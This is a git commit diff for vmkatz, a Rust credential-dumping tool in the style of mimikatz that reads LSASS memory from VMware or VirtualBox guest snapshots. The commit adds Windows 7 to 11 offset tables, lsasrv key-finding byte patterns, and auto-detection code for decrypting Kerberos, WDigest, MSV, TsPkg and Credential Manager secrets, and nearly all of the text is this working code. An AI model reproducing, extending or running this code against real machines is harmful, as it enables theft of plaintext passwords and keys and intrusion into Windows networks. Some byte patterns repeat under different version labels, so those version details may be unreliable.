Multi-version Windows support (Win7 SP1 through Win11)

- EPROCESS: 5 offset tables (Win7/8/8.1/Win10 early/Win10 late+Win11)
  with auto-detection via find_system_process_auto brute-force scan
- MSV1_0: added Win7 (luid=0x30) and Win8/8.1 (luid=0x60) variants
- Kerberos: 4 offset variants with auto-detection (luid/cred_ptr/pwd differ)
- WDigest: Win10+ and Win7/8/8.1 offset variants with auto-detection
- TsPkg: 4 pTsPrimary offsets (0x40/0x70/0x80/0x90) with probing
- Credman: added Win7/8 MSV offset variants for credman_ptr
- Crypto: added Win7/8/8.1 key offset sets for IV/3DES/AES resolution
- Patterns: added Win7/8/8.1 byte patterns for lsasrv key init
- LDR offsets confirmed stable across Win7-11 (renamed to X64_LDR)
This commit is contained in:
NK
2026-02-09 04:25:36 +01:00
parent 5747f202b3
commit 91a570babe
11 changed files with 231 additions and 97 deletions
+6 -5
View File
@@ -16,13 +16,14 @@ struct CredmanMsvOffsets {
}
const CREDMAN_MSV_OFFSET_VARIANTS: &[CredmanMsvOffsets] = &[
// Variant 0: Win10 1607+ (build 14393+) / 22H2 (build 19045)
// MSV variant 2: luid=0x90, username=0xA8, credentials_ptr=0x108
// CredentialManager follows immediately at 0x110
// Win10 1607+ / Win11 (build 14393+)
CredmanMsvOffsets { flink: 0x00, luid: 0x90, username: 0xA8, credman_ptr: 0x110 },
// Variant 1: Older Win10 (1507-1511)
// MSV variant 1: luid=0x70, username=0x80, credentials_ptr=0xE8
// Win10 1507-1511
CredmanMsvOffsets { flink: 0x00, luid: 0x70, username: 0x80, credman_ptr: 0xF0 },
// Win8/8.1
CredmanMsvOffsets { flink: 0x00, luid: 0x60, username: 0x70, credman_ptr: 0xE0 },
// Win7 SP1
CredmanMsvOffsets { flink: 0x00, luid: 0x30, username: 0x40, credman_ptr: 0xC0 },
];
/// KIWI_CREDMAN_LIST_STARTER offsets (Win10 19041+):
+3
View File
@@ -26,6 +26,9 @@ const KEY_OFFSET_SETS: &[(i64, i64, i64)] = &[
(61, -73, 16), // LSA_x64_5: Win10 1507-1607
(71, -89, 16), // LSA_x64_9: Win11 22H2+
(58, -89, 16), // LSA_x64_8: Win11 early
(62, -74, 23), // LSA_x64_3: Win8.1 / Server 2012 R2
(59, -61, 23), // LSA_x64_1: Win7 / Server 2008 R2
(62, -70, 23), // LSA_x64_2: Win8 / Server 2012
];
/// Extract IV, 3DES key, and AES key from lsasrv.dll.
+3 -2
View File
@@ -804,8 +804,9 @@ fn scan_phys_for_kerberos_credentials<P: PhysicalMemory>(
continue;
}
// Try to decrypt the password
let password = crate::lsass::kerberos::extract_kerb_password(vmem, *vaddr, keys)
// Try to decrypt the password (try Win10 1607+ offset first, then older)
let password = crate::lsass::kerberos::extract_kerb_password(vmem, *vaddr, 0x30, keys)
.or_else(|_| crate::lsass::kerberos::extract_kerb_password(vmem, *vaddr, 0x28, keys))
.unwrap_or_default();
log::info!(
+53 -43
View File
@@ -5,44 +5,31 @@ use crate::lsass::types::KerberosCredential;
use crate::memory::VirtualMemory;
use crate::pe::parser::PeHeaders;
/// Kerberos session offsets (Windows 10 x64 1607+).
/// KIWI_KERBEROS_LOGON_SESSION_10_1607 layout (x64):
/// +0x00: UsageCount (ULONG + 4 pad)
/// +0x08: unk0 (LIST_ENTRY, 16 bytes)
/// +0x18: unk1 (PVOID)
/// +0x20: unk1b (ULONG + 4 pad)
/// +0x28: unk2 (FILETIME)
/// +0x30: unk4 (PVOID)
/// +0x38: unk5 (PVOID)
/// +0x40: unk6 (PVOID)
/// +0x48: LocallyUniqueIdentifier (LUID, 8 bytes)
/// ... more fields ...
/// +0x88: credentials (PVOID -> KIWI_KERBEROS_PRIMARY_CREDENTIAL)
///
/// Kerberos session offsets per Windows version (x64).
/// KerbGlobalLogonSessionTable is an RTL_AVL_TABLE (since Vista).
/// Each AVL tree node has RTL_BALANCED_LINKS (0x20 bytes) header,
/// followed by the session entry data.
/// So entry data offset from node = 0x20.
struct KerbOffsets {
/// Offset of session data from AVL node (sizeof(RTL_BALANCED_LINKS))
avl_node_data_offset: u64,
luid: u64,
credentials_ptr: u64,
/// Password offset within KIWI_KERBEROS_PRIMARY_CREDENTIAL
cred_password: u64,
}
const KERB_OFFSETS: KerbOffsets = KerbOffsets {
avl_node_data_offset: 0x20,
luid: 0x48,
credentials_ptr: 0x88,
};
/// KIWI_KERBEROS_PRIMARY_CREDENTIAL_1607 offsets:
/// +0x00: UserName (UNICODE_STRING, 16 bytes)
/// +0x10: DomainName (UNICODE_STRING, 16 bytes)
/// +0x20: unk0 (PVOID, 8 bytes)
/// +0x28: unk_padding (8 bytes)
/// +0x30: Password (UNICODE_STRING, 16 bytes, encrypted)
const KERB_CRED_PASSWORD_OFFSET: u64 = 0x30;
/// Multiple offset variants for different Windows versions.
const KERB_OFFSET_VARIANTS: &[KerbOffsets] = &[
// Win10 1607+ / Win11: KIWI_KERBEROS_LOGON_SESSION_10_1607
// Password at +0x30 in cred (extra unk0+padding before Password)
KerbOffsets { avl_node_data_offset: 0x20, luid: 0x48, credentials_ptr: 0x88, cred_password: 0x30 },
// Win10 1507-1511: KIWI_KERBEROS_LOGON_SESSION_10_1507
// Password at +0x28 in cred (no extra padding)
KerbOffsets { avl_node_data_offset: 0x20, luid: 0x48, credentials_ptr: 0x88, cred_password: 0x28 },
// Win8/8.1: KIWI_KERBEROS_LOGON_SESSION_10
KerbOffsets { avl_node_data_offset: 0x20, luid: 0x40, credentials_ptr: 0x80, cred_password: 0x28 },
// Win7: KIWI_KERBEROS_LOGON_SESSION
KerbOffsets { avl_node_data_offset: 0x20, luid: 0x18, credentials_ptr: 0x50, cred_password: 0x28 },
];
/// Extract Kerberos credentials from kerberos.dll.
pub fn extract_kerberos_credentials(
@@ -113,7 +100,8 @@ pub fn extract_kerberos_credentials(
walk_avl_tree(vmem, root_node, table_addr, &mut nodes, 0);
log::info!("Kerberos AVL tree: found {} nodes", nodes.len());
let offsets = &KERB_OFFSETS;
// Auto-detect offset variant by probing first non-empty node
let offsets = detect_kerb_offsets(vmem, &nodes);
for node_ptr in &nodes {
let entry = node_ptr + offsets.avl_node_data_offset;
@@ -121,15 +109,11 @@ pub fn extract_kerberos_credentials(
let cred_ptr = vmem.read_virt_u64(entry + offsets.credentials_ptr).unwrap_or(0);
if cred_ptr != 0 && luid != 0 {
// KIWI_KERBEROS_PRIMARY_CREDENTIAL_1607:
// +0x00: UserName (UNICODE_STRING, 16 bytes)
// +0x10: DomainName (UNICODE_STRING, 16 bytes)
// +0x30: Password (UNICODE_STRING, 16 bytes, encrypted)
let username = vmem.read_win_unicode_string(cred_ptr).unwrap_or_default();
let domain = vmem.read_win_unicode_string(cred_ptr + 0x10).unwrap_or_default();
if !username.is_empty() {
let password = extract_kerb_password(vmem, cred_ptr, keys).unwrap_or_default();
let password = extract_kerb_password(vmem, cred_ptr, offsets.cred_password, keys).unwrap_or_default();
if !password.is_empty() {
log::info!("Kerberos: LUID=0x{:x} user={} domain={}", luid, username, domain);
results.push((
@@ -179,19 +163,45 @@ fn walk_avl_tree(
walk_avl_tree(vmem, right, sentinel, results, depth + 1);
}
/// Auto-detect Kerberos offset variant by probing AVL tree nodes.
fn detect_kerb_offsets(vmem: &impl VirtualMemory, nodes: &[u64]) -> &'static KerbOffsets {
for node_ptr in nodes {
for variant in KERB_OFFSET_VARIANTS {
let entry = node_ptr + variant.avl_node_data_offset;
let luid = match vmem.read_virt_u64(entry + variant.luid) {
Ok(l) => l,
Err(_) => continue,
};
if luid == 0 || luid > 0xFFFFFFFF {
continue;
}
let cred_ptr = match vmem.read_virt_u64(entry + variant.credentials_ptr) {
Ok(p) => p,
Err(_) => continue,
};
if cred_ptr < 0x10000 || (cred_ptr >> 48) != 0 {
continue;
}
// Try reading username from credential structure
let username = vmem.read_win_unicode_string(cred_ptr).unwrap_or_default();
if !username.is_empty() && username.len() < 256 {
log::debug!("Kerberos: auto-detected offsets luid=0x{:x} cred=0x{:x} pwd=0x{:x}",
variant.luid, variant.credentials_ptr, variant.cred_password);
return variant;
}
}
}
&KERB_OFFSET_VARIANTS[0]
}
pub fn extract_kerb_password(
vmem: &impl VirtualMemory,
cred_ptr: u64,
password_offset: u64,
keys: &CryptoKeys,
) -> Result<String> {
// KIWI_KERBEROS_PRIMARY_CREDENTIAL_1607:
// +0x00: UserName (UNICODE_STRING, 16 bytes)
// +0x10: DomainName (UNICODE_STRING, 16 bytes)
// +0x20: unk0 (PVOID, 8 bytes)
// +0x28: unk_padding (8 bytes)
// +0x30: Password (UNICODE_STRING, 16 bytes, encrypted)
let pwd_len = vmem.read_virt_u16(cred_ptr + KERB_CRED_PASSWORD_OFFSET)? as usize;
let pwd_ptr = vmem.read_virt_u64(cred_ptr + KERB_CRED_PASSWORD_OFFSET + 8)?;
let pwd_len = vmem.read_virt_u16(cred_ptr + password_offset)? as usize;
let pwd_ptr = vmem.read_virt_u64(cred_ptr + password_offset + 8)?;
if pwd_len == 0 || pwd_ptr == 0 {
return Ok(String::new());
+4 -2
View File
@@ -20,13 +20,15 @@ struct MsvOffsets {
// credentials_ptr = 0 means "auto-detect by scanning for Primary signature".
const MSV_OFFSET_VARIANTS: &[MsvOffsets] = &[
// Variant 0: Empirical NlpActiveLogonTable (Win10 19041+/22H2)
// Discovered via hex dump: LUID at +0x2C (u64), UserName at +0x48, Domain at +0x58
// credentials_ptr unknown -> auto-detect
MsvOffsets { flink: 0x00, luid: 0x2C, username: 0x48, domain: 0x58, credentials_ptr: 0 },
// Variant 1: MSV1_0_LIST_63 base (Win10 1507-1511)
MsvOffsets { flink: 0x00, luid: 0x70, username: 0x80, domain: 0x90, credentials_ptr: 0xE8 },
// Variant 2: MSV1_0_LIST_63 extended (Win10 1607+)
MsvOffsets { flink: 0x00, luid: 0x90, username: 0xA8, domain: 0xB8, credentials_ptr: 0x108 },
// Variant 3: MSV1_0_LIST_62 (Win8/8.1 / Server 2012/2012R2)
MsvOffsets { flink: 0x00, luid: 0x70, username: 0x90, domain: 0xA0, credentials_ptr: 0xF8 },
// Variant 4: MSV1_0_LIST_61 (Win7 / Server 2008 R2)
MsvOffsets { flink: 0x00, luid: 0x30, username: 0x40, domain: 0x50, credentials_ptr: 0xA0 },
];
/// Primary credential offsets within MSV1_0_PRIMARY_CREDENTIAL.
+7 -3
View File
@@ -6,12 +6,16 @@ use crate::memory::VirtualMemory;
/// Pattern to find the IV (InitializationVector) in lsasrv.dll.
/// Multiple patterns for different builds.
pub static LSASRV_KEY_PATTERNS: &[&[u8]] = &[
// Win10 1607+ (most common)
// Win10 1607+ / Win11 (most common)
&[0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8D, 0x45, 0xE0, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8D, 0x15],
// Win10 1507/1511
&[0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8D, 0x15],
// Win10 1903+
&[0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8D, 0x45, 0xE0, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8D, 0x15],
// Win8.1 / Server 2012 R2
&[0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8D, 0x15],
// Win7 / Server 2008 R2 (LsaInitializeProtectedMemory)
&[0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8D, 0x45, 0xE0, 0x44, 0x8B, 0x4D, 0xD8],
// Win8 / Server 2012
&[0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8D, 0x45, 0xE0, 0x44, 0x8B, 0x4D],
];
/// Pattern to find LogonSessionList in msv1_0.dll.
+30 -19
View File
@@ -5,24 +5,15 @@ use crate::lsass::types::TspkgCredential;
use crate::memory::VirtualMemory;
use crate::pe::parser::PeHeaders;
/// TsPkg credential offsets for Windows 10 x64 1607+ (build >= 14394).
///
/// KIWI_TS_CREDENTIAL_1607 layout (x64):
/// +0x00: Flink (LIST_ENTRY.Flink)
/// +0x08: Blink (LIST_ENTRY.Blink)
/// +0x10..0x8f: various internal fields
/// +0x90: pTsPrimary (PTR -> KIWI_TS_PRIMARY_CREDENTIAL)
///
/// KIWI_TS_PRIMARY_CREDENTIAL layout:
/// +0x00: Credentials (UNICODE_STRING - encrypted blob)
/// The encrypted blob decrypts to:
/// +0x00: UserName (UNICODE_STRING, offsets relative to blob start)
/// +0x10: DomainName (UNICODE_STRING)
/// +0x20: Password (UNICODE_STRING)
///
/// TsPkg pTsPrimary offset per Windows version (x64).
/// TSGlobalCredTable is a PVOID* (pointer to the first linked list entry).
/// When NULL, no TsPkg credentials exist (common for non-RDP sessions).
const TSPKG_PTS_PRIMARY_OFFSET: u64 = 0x90;
const TSPKG_PTS_PRIMARY_OFFSETS: &[u64] = &[
0x90, // Win10 1507+ / Win11
0x80, // Win8.1
0x70, // Win8
0x40, // Win7 SP1
];
/// Extract TsPkg credentials from tspkg.dll.
///
@@ -93,9 +84,9 @@ pub fn extract_tspkg_credentials(
}
visited.insert(current);
// Read pTsPrimary pointer
let pts_primary = vmem.read_virt_u64(current + TSPKG_PTS_PRIMARY_OFFSET).unwrap_or(0);
if pts_primary != 0 && pts_primary > 0x10000 && (pts_primary >> 48) == 0 {
// Try each pTsPrimary offset variant
let pts_primary = detect_tspkg_primary_ptr(vmem, current);
if pts_primary != 0 {
if let Some(cred) = extract_primary_credential(vmem, keys, pts_primary) {
log::info!("TsPkg: user={} domain={}", cred.username, cred.domain);
// LUID is not directly accessible from this structure in a reliable way,
@@ -113,6 +104,26 @@ pub fn extract_tspkg_credentials(
Ok(results)
}
/// Auto-detect the pTsPrimary offset by trying each variant on the entry.
fn detect_tspkg_primary_ptr(vmem: &impl VirtualMemory, entry: u64) -> u64 {
for &offset in TSPKG_PTS_PRIMARY_OFFSETS {
let ptr = match vmem.read_virt_u64(entry + offset) {
Ok(p) => p,
Err(_) => continue,
};
if ptr > 0x10000 && (ptr >> 48) == 0 {
// Validate: the pointed-to structure should have a UNICODE_STRING (Credentials)
// with reasonable Length and MaximumLength
let len = vmem.read_virt_u16(ptr).unwrap_or(0) as usize;
let max_len = vmem.read_virt_u16(ptr + 2).unwrap_or(0) as usize;
if len > 0 && len <= 0x400 && max_len >= len {
return ptr;
}
}
}
0
}
/// Find TSGlobalCredTable address by scanning LEA instructions near the pattern.
///
/// The pattern matches a function prologue. We scan forward for LEA reg, [rip+disp]
+34 -11
View File
@@ -24,13 +24,13 @@ struct WdigestOffsets {
password: u64,
}
const WDIGEST_OFFSETS: WdigestOffsets = WdigestOffsets {
flink: 0x00,
luid: 0x20,
username: 0x30,
domain: 0x40,
password: 0x50,
};
/// Multiple offset variants for different Windows versions.
const WDIGEST_OFFSET_VARIANTS: &[WdigestOffsets] = &[
// Win10 1507+ / Win11: extra This+padding before LUID
WdigestOffsets { flink: 0x00, luid: 0x20, username: 0x30, domain: 0x40, password: 0x50 },
// Win7 / Win8 / Win8.1: no extra padding, smaller struct
WdigestOffsets { flink: 0x00, luid: 0x10, username: 0x28, domain: 0x38, password: 0x48 },
];
/// Extract WDigest credentials (plaintext passwords) from wdigest.dll.
pub fn extract_wdigest_credentials(
@@ -84,7 +84,8 @@ pub fn extract_wdigest_credentials(
}
}
let offsets = &WDIGEST_OFFSETS;
// Auto-detect offset variant: try each variant on the first entry
let offsets = detect_wdigest_offsets(vmem, head_flink);
let mut current = head_flink;
let mut visited = std::collections::HashSet::new();
@@ -156,8 +157,6 @@ fn find_wdigest_list_in_data(
data_base, data_size
);
let offsets = &WDIGEST_OFFSETS;
for off in (0..data_size.saturating_sub(16)).step_by(8) {
let flink = u64::from_le_bytes(data[off..off + 8].try_into().unwrap());
let blink = u64::from_le_bytes(data[off + 8..off + 16].try_into().unwrap());
@@ -183,7 +182,8 @@ fn find_wdigest_list_in_data(
continue;
}
// Validate by reading first entry
// Validate by reading first entry (try each offset variant)
let offsets = detect_wdigest_offsets(vmem, flink);
let luid = match vmem.read_virt_u64(flink + offsets.luid) {
Ok(l) => l,
Err(_) => continue,
@@ -229,3 +229,26 @@ fn find_wdigest_list(vmem: &impl VirtualMemory, pattern_addr: u64) -> Result<u64
))
}
/// Auto-detect WDigest offset variant by probing the first entry.
fn detect_wdigest_offsets(vmem: &impl VirtualMemory, first_entry: u64) -> &'static WdigestOffsets {
for variant in WDIGEST_OFFSET_VARIANTS {
// Check LUID: should be small nonzero value
let luid = match vmem.read_virt_u64(first_entry + variant.luid) {
Ok(l) => l,
Err(_) => continue,
};
if luid == 0 || luid > 0xFFFFFFFF {
continue;
}
// Check username: should be valid UNICODE_STRING
let username = vmem
.read_win_unicode_string(first_entry + variant.username)
.unwrap_or_default();
if !username.is_empty() && username.len() < 256 {
return variant;
}
}
// Default to Win10+ offsets
&WDIGEST_OFFSET_VARIANTS[0]
}
+5 -5
View File
@@ -18,7 +18,7 @@ use vmkatz::vbox::VBoxLayer;
#[cfg(feature = "vmware")]
use vmkatz::vmware::VmwareLayer;
#[cfg(any(feature = "vmware", feature = "vbox"))]
use vmkatz::windows::offsets::WIN10_X64_EPROCESS;
// EPROCESS offsets auto-detected at runtime from ALL_EPROCESS_OFFSETS
#[cfg(any(feature = "vmware", feature = "vbox"))]
use vmkatz::windows::process;
@@ -349,12 +349,12 @@ fn run_with_layer<L: PhysicalMemory, F: FnOnce() -> anyhow::Result<L>>(
) -> anyhow::Result<()> {
let layer = make_layer()?;
// Find System process
let system = process::find_system_process(&layer, &WIN10_X64_EPROCESS)
.context("Failed to find System process. Try different EPROCESS offsets.")?;
// Find System process (auto-detect Windows version from EPROCESS layout)
let (system, eprocess_offsets) = process::find_system_process_auto(&layer)
.context("Failed to find System process")?;
// Enumerate all processes
let processes = process::enumerate_processes(&layer, &system, &WIN10_X64_EPROCESS)
let processes = process::enumerate_processes(&layer, &system, &eprocess_offsets)
.context("Failed to enumerate processes")?;
if verbose {
+71 -6
View File
@@ -1,6 +1,6 @@
use crate::error::{GovmemError, Result};
/// EPROCESS field offsets for Windows 10 x64.
/// EPROCESS field offsets for Windows x64.
#[derive(Debug, Clone, Copy)]
pub struct EprocessOffsets {
pub directory_table_base: u64,
@@ -12,6 +12,7 @@ pub struct EprocessOffsets {
}
/// PEB / LDR offsets for enumerating loaded DLLs.
/// Stable across Windows 7-11 x64.
#[derive(Debug, Clone, Copy)]
pub struct LdrOffsets {
pub peb_ldr: u64,
@@ -23,8 +24,49 @@ pub struct LdrOffsets {
pub ldr_entry_base_dll_name: u64,
}
/// Default EPROCESS offsets for Windows 10 x64 (builds 14393-19045).
/// These are stable across most Windows 10 versions.
// -- EPROCESS offsets by build range (x64) --
/// Windows 7 SP1 / Server 2008 R2 (build 7601)
const WIN7_X64_EPROCESS: EprocessOffsets = EprocessOffsets {
directory_table_base: 0x28,
unique_process_id: 0x180,
active_process_links: 0x188,
image_file_name: 0x2E0,
peb: 0x338,
section_base_address: 0x268,
};
/// Windows 8 / Server 2012 (build 9200)
const WIN8_X64_EPROCESS: EprocessOffsets = EprocessOffsets {
directory_table_base: 0x28,
unique_process_id: 0x2E0,
active_process_links: 0x2E8,
image_file_name: 0x438,
peb: 0x338,
section_base_address: 0x268,
};
/// Windows 8.1 / Server 2012 R2 (build 9600)
const WIN81_X64_EPROCESS: EprocessOffsets = EprocessOffsets {
directory_table_base: 0x28,
unique_process_id: 0x2E0,
active_process_links: 0x2E8,
image_file_name: 0x438,
peb: 0x3E8,
section_base_address: 0x268,
};
/// Windows 10 1507/1511/1607 (builds 10240-14393) / Server 2016
const WIN10_EARLY_X64_EPROCESS: EprocessOffsets = EprocessOffsets {
directory_table_base: 0x28,
unique_process_id: 0x2E8,
active_process_links: 0x2F0,
image_file_name: 0x450,
peb: 0x3F8,
section_base_address: 0x3C0,
};
/// Windows 10 1703-22H2 (builds 15063-19045) / Server 2019/2022 / Windows 11
pub const WIN10_X64_EPROCESS: EprocessOffsets = EprocessOffsets {
directory_table_base: 0x28,
unique_process_id: 0x440,
@@ -34,8 +76,8 @@ pub const WIN10_X64_EPROCESS: EprocessOffsets = EprocessOffsets {
section_base_address: 0x520,
};
/// Default LDR offsets for Windows 10 x64.
pub const WIN10_X64_LDR: LdrOffsets = LdrOffsets {
/// LDR offsets — stable across Windows 7-11 x64.
pub const X64_LDR: LdrOffsets = LdrOffsets {
peb_ldr: 0x18,
ldr_in_load_order: 0x10,
ldr_in_memory_order: 0x20,
@@ -45,9 +87,32 @@ pub const WIN10_X64_LDR: LdrOffsets = LdrOffsets {
ldr_entry_base_dll_name: 0x58,
};
// Keep the old name as alias for backward compatibility
pub const WIN10_X64_LDR: LdrOffsets = X64_LDR;
/// Get EPROCESS offsets for a given Windows build number.
pub fn offsets_for_build(build: u32) -> Result<EprocessOffsets> {
match build {
14393..=22631 => Ok(WIN10_X64_EPROCESS),
// Win7 SP1 / Server 2008 R2
7600..=7601 => Ok(WIN7_X64_EPROCESS),
// Win8 / Server 2012
9200 => Ok(WIN8_X64_EPROCESS),
// Win8.1 / Server 2012 R2
9600 => Ok(WIN81_X64_EPROCESS),
// Win10 1507-1607 / Server 2016
10240..=14393 => Ok(WIN10_EARLY_X64_EPROCESS),
// Win10 1703-22H2 / Server 2019/2022 / Win11
15063..=26100 => Ok(WIN10_X64_EPROCESS),
_ => Err(GovmemError::UnsupportedBuild(build)),
}
}
/// All known EPROCESS offset sets for brute-force scan (when build is unknown).
/// Ordered by likelihood (most common first).
pub const ALL_EPROCESS_OFFSETS: &[EprocessOffsets] = &[
WIN10_X64_EPROCESS, // Win10 1703+ / Win11
WIN10_EARLY_X64_EPROCESS, // Win10 1507-1607
WIN81_X64_EPROCESS, // Win8.1
WIN8_X64_EPROCESS, // Win8
WIN7_X64_EPROCESS, // Win7
];
+15 -1
View File
@@ -2,7 +2,7 @@ use crate::error::{GovmemError, Result};
use crate::memory::{PhysicalMemory, VirtualMemory};
use crate::paging::translate::{PageTableWalker, ProcessMemory};
use crate::windows::eprocess::EprocessReader;
use crate::windows::offsets::EprocessOffsets;
use crate::windows::offsets::{EprocessOffsets, ALL_EPROCESS_OFFSETS};
/// PEB + 0x20 = ProcessParameters (RTL_USER_PROCESS_PARAMETERS*)
const PEB_PROCESS_PARAMETERS: u64 = 0x20;
@@ -19,6 +19,20 @@ pub struct Process {
pub peb_vaddr: u64,
}
/// Find the System process by trying all known EPROCESS offset sets.
/// Returns the process and the matching offsets.
pub fn find_system_process_auto(
phys: &impl PhysicalMemory,
) -> Result<(Process, EprocessOffsets)> {
for offsets in ALL_EPROCESS_OFFSETS {
match find_system_process(phys, offsets) {
Ok(proc) => return Ok((proc, *offsets)),
Err(_) => continue,
}
}
Err(GovmemError::SystemProcessNotFound)
}
/// Find the System process (PID 4) by scanning physical memory.
///
/// Scans page-by-page through physical address space looking for "System\0" at